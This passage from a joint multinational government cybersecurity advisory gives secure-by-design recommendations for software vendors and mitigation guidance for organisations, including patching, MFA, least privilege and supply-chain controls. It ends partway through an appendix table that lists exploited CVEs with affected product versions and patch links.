vulnerabilities.\n * Using static and dynamic application security testing (SAST/DAST) tools to analyze product source code and application behavior to detect error-prone practices [[SSDF PW.7.2, PW.8.2](<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218.pdf> \"NIST Special Publication 800-218\" )].\n * Configuring production-ready products to have to most secure settings as default and providing guidance on the risks of changing each setting [[SSDF PW.9.1, PW9.2](<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218.pdf> \"NIST Special Publication 800-218\" )]\n * **Prioritize secure-by-default configurations** such as eliminating default passwords, implementing single sign on (SSO) technology via modern open standards, and providing high-quality audit logs to customers with no additional configuration and at no extra charge.\n * **Ensure published CVEs include the proper CWE field identifying the root cause of the vulnerability **to enable industry-wide analysis of software security and design flaws.\n\nFor more information on designing secure-by-design and -default products, including additional recommended secure-by-default configurations, see joint guide [Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security-by-Design and -Default](<https://www.cisa.gov/resources-tools/resources/secure-by-design-and-default> \"Security-by-Design and -Default\" ).\n\n#### **End-User Organizations**\n\nThe authoring agencies recommend end-user organizations implement the mitigations below to improve cybersecurity posture on the basis of the threat actors\u2019 activity. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA\u2019s [Cross-Sector Cybersecurity Performance Goals](<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals> \"Cross-Sector Cybersecurity Performance Goals\" ) for more information on CPGs, including additional recommended baseline protections.\n\n#### **_Vulnerability and Configuration Management_**\n\n * **Update software, operating systems, applications, and firmware on IT network assets in a timely manner** [CPG 1.E]. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog> \"Known Exploited Vulnerabilities Catalog\" ), especially those CVEs identified in this CSA, then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. For patch information on CVEs identified in this CSA, refer to the appendix. \n * If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds.\n * Replace end-of-life software (i.e., software no longer supported by the vendor).\n * **Routinely perform automated asset discovery** across the entire estate to identify and catalogue all the systems, services, hardware and software.\n * **Implement a robust patch management process **and centralized patch management system that establishes prioritization of patch applications [CPG 1.A]. \n * Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications\u2014such as webmail, file storage, file sharing, and chat and other employee collaboration tools\u2014for their customers. However, MSPs and CSPs can expand their customer\u2019s attack surface and may introduce unanticipated risks, so organizations should proactively collaborate with their MSPs and CSPs to jointly reduce risk [CPG 1.F]. For more information and guidance, see the following resources. \n * CISA Insights Risk Considerations for Managed Service Provider Customers\n * CISA Insights Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses\n * ACSC advice on [How to Manage Your Security When Engaging a Managed Service Provider](<https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/outsourcing-and-procurement/managed-services/how-manage-your-security-when-engaging-managed-service-provider> \"How to Manage Your Security When Engaging a Managed Service Provider\" )\n * **Document secure baseline configurations for all IT/OT components**, including cloud infrastructure. Monitor, examine, and document any deviations from the initial secure baseline [CPG 2.O].\n * **Perform regular secure system backups** and create known good copies of all device configurations for repairs and/or restoration. Store copies off-network in physically secure locations and test regularly [CPG 2.R].\n * **Maintain an updated cybersecurity incident response plan** that is tested at least annually and updated within a risk informed time frame to ensure its effectiveness [CPG 2.S].\n\n#### **_Identity and Access Management_**\n\n * **Enforce phishing-resistant multifactor authentication (MFA) for all users**, without exception. [CPG 2.H].\n * **Enforce MFA on all VPN connections**. If MFA is unavailable, require employees engaging in remote work to use strong passwords [CPG 2.A, 2.B, 2.C, 2.D, 2.G].\n * **Regularly review, validate, or remove privileged accounts** (annually at a minimum) [CPG 2.D, 2.E].\n * **Configure access control under the principle of least privilege** [CPG 2.Q]. \n * Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (using non-administrative privileges where feasible). \n**Note:** See CISA\u2019s Capacity Enhancement Guide \u2013 Implementing Strong Authentication and ACSC\u2019s guidance on [Implementing Multi-Factor Authentication](<https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/system-hardening/implementing-multi-factor-authentication> \"Implementing Multi-Factor Authentication\" ) for more information on authentication system hardening.\n\n#### **_Protective Controls and Architecture_**\n\n * **Properly configure and secure internet-facing network devices**, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices [CPG 2.V, 2.W, 2X]. \n * Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP.\n * Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting.\n * Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM).\n * **Implement Zero Trust Network Architecture (ZTNA)** to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks [CPG 2.F, 2.X]. **Note:** See the Department of Defense\u2019s [Zero Trust Reference Architecture](<https://dodcio.defense.gov/Portals/0/Documents/Library/\\(U\\)ZT_RA_v2.0\\(U\\)_Sep22.pdf> \"Department of Defense \\(DoD\\) Zero Trust Reference Architecture\" ) for additional information on Zero Trust.\n * **Continuously monitor the attack surface** and investigate abnormal activity that may indicate cyber actor or malware lateral movement [CPG 2.T]. \n * Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools. Consider using an information technology asset management (ITAM) solution to ensure EDR, SIEM, vulnerability scanner, and other similar tools are reporting the same number of assets [CPG 2.T, 2.V].\n * Use web application firewalls to monitor and filter web traffic. These tools are commercially available via hardware, software, and cloud-based solutions, and may detect and mitigate exploitation attempts where a cyber actor sends a malicious web request to an unpatched device [CPG 2.B, 2.F].\n * Implement an administrative policy and/or automated process configured to monitor unwanted hardware, software, or programs against an allowlist with specified approved versions [CPG 2.Q].\n * Use a network protocol analyzer to examine captured data, including packet-level data.\n\n#### **_Supply Chain Security_**\n\n * **Reduce third-party applications and unique system/application builds**\u2014provide exceptions only if required to support business critical functions [CPG 2.Q].\n * Ensure contracts require vendors and/or third-party service providers to: \n * Provide notification of security incidents and vulnerabilities within a risk informed time frame [CPG 1.G, 1.H, 1.I].\n * Supply a Software Bill of Materials (SBOM) with all products to enhance vulnerability monitoring and to help reduce time to respond to identified vulnerabilities [CPG 4.B].\n * **Ask your software providers to discuss their secure by design program** and to provide links to information about how they are working to remove classes of vulnerabilities, and to set secure default settings.\n\n### **RESOURCES**\n\n * For information on the top vulnerabilities routinely exploited in 2016 through 2019, 2020, and 2021, see: \n * Joint CSA [Top 10 Routinely Exploited Vulnerabilities](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-133a> \"Top 10 Routinely Exploited Vulnerabilities\" )\n * Joint CSA [Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a> \"Top Routinely Exploited Vulnerabilities\" )\n * Joint CSA [2021 Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a> \"2021 Top Routinely Exploited Vulnerabilities\" )\n * See the appendix for additional partner resources on the vulnerabilities mentioned in this CSA.\n * See ACSC\u2019s [Essential Eight mitigation strategies](<https://www.cyber.gov.au/resources-business-and-government/essential-cyber-security/essential-eight/essential-eight-maturity-model> \"Essential Eight Maturity Model\" ) for additional mitigations.\n * See ACSC\u2019s [Cyber Supply Chain Risk Management](<https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/outsourcing-and-procurement/cyber-supply-chains/cyber-supply-chain-risk-management> \"Cyber Supply Chain Risk Management\" ) for additional considerations and advice.\n\n### DISCLAIMER\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. CISA, FBI, NSA, ACSC, CCCS, NCSC-NZ, CERT NZ, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.\n\n### **PURPOSE**\n\nThis document was developed by CISA, NSA, FBI, ACSC, CCCS, NCSC-NZ, CERT NZ, and NCSC-UK in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.\n\n### **REFERENCES**\n\n[1] [Apache Log4j Vulnerability Guidance](<https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance> \"Apache Log4j Vulnerability Guidance\" )\n\n### **VERSION HISTORY**\n\nAugust 3, 2023: Initial version.\n\n### **APPENDIX: PATCH INFORMATION AND ADDITIONAL RESOURCES FOR TOP EXPLOITED VULNERABILITIES**\n\n**CVE**\n\n| \n\n**Vendor**\n\n| \n\n**Affected Products and Versions**\n\n| \n\n**Patch Information**\n\n| \n\n**Resources** \n \n---|---|---|---|--- \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199> \"CVE-2017-0199\" )\n\n| \n\nMicrosoft\n\n| \n\nMultiple Products\n\n| \n\n[Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-0199> \"Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows\" )\n\n| \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882> \"CVE-2017-11882\" )\n\n| \n\nMicrosoft\n\n| \n\nOffice, Multiple Versions\n\n| \n\n[Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882> \"Microsoft Office Memory Corruption Vulnerability\" )\n\n| \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379> \"CVE-2018-13379\" )\n\n| \n\nFortinet\n\n| \n\nFortiOS and FortiProxy 2.0.2, 2.0.1, 2.0.0, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.6\n\n| \n\n[FortiProxy - system file leak through SSL VPN special crafted HTTP resource requests](<https://www.fortiguard.com/psirt/FG-IR-20-233> \"FortiProxy - system file leak through SSL VPN special crafted HTTP resource requests\" )\n\n| \n\nJoint CSAs:\n\n[Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-321a> \"Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities\" )\n\n[Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-047a> \"Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology\" )\n\n[APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a> \"APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations\" ) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510> \"CVE-2019-11510\" )\n\n| \n\nIvanti\n\n| \n\nPulse Secure Pulse Connect Secure versions, 9.0R1 to 9.0R3.3, 8.3R1 to 8.3R7, and 8.2R1 to 8.2R12\n\n| \n\n[SA44101 - 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://forums.ivanti.com/s/article/SA44101?language=en_US> \"SA44101 - 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX\" )\n\n| \n\nCISA Alerts:\n\n[Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-010a> \"Continued Exploitation of Pulse Secure VPN Vulnerability\" )\n\n[Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-258a> \"Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity\" )\n\nACSC Advisory:\n\n[2019-129: Recommendations to mitigate vulnerability in Pulse Connect Secure VPN Software](<https://www.cyber.gov.au/about-us/advisories/2019-129-recommendations-mitigate-vulnerability-pulse-connect-secure-vpn-software> \"2019-129: Recommendations to mitigate vulnerability in Pulse Connect Secure VPN Software\" )\n\nJoint CSA:\n\n[APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a> \"APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations\" )\n\n_CCCS Alert:_\n\n[APT Actors Target U.S. and Allied Networks - Update 1](<https://www.cyber.gc.ca/en/alerts/apt-actors-target-us-and-allied-networks-nsacisafbi> \"Alert - APT Actors Target U.S. and Allied Networks - update 1\" ) \n \n[CVE-2019-0708](<https://nvd.nist.gov/vuln/detail/CVE-2019-0708> \"CVE-2019-0708\" )\n\n| \n\nMicrosoft\n\n| \n\nRemote Desktop Services\n\n| \n\n[Remote Desktop Services Remote Code Execution Vulnerability](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0708> \"Remote Desktop Services Remote Code Execution Vulnerability\" )\n\n| \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781> \"CVE-2019-19781\" )\n\n| \n\nCitrix\n\n| \n\nADC and Gateway version 13.0 all supported builds before 13.0.47.24\n\nNetScaler ADC and NetScaler Gateway, version 12.1 all supported builds before 12.1.55.18; version 12.0 all supported builds before 12.0.63.13; version 11.1 all supported builds before 11.1.63.15; version 10.5 all supported builds before 10.5.70.12\n\nSD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b\n\n| \n\n[CVE-2019-19781 - Vulnerability in Citrix